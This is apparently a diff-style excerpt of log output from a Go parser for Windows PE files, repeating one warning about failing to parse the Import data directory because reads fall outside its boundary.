+time=2025-11-12T11:32:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 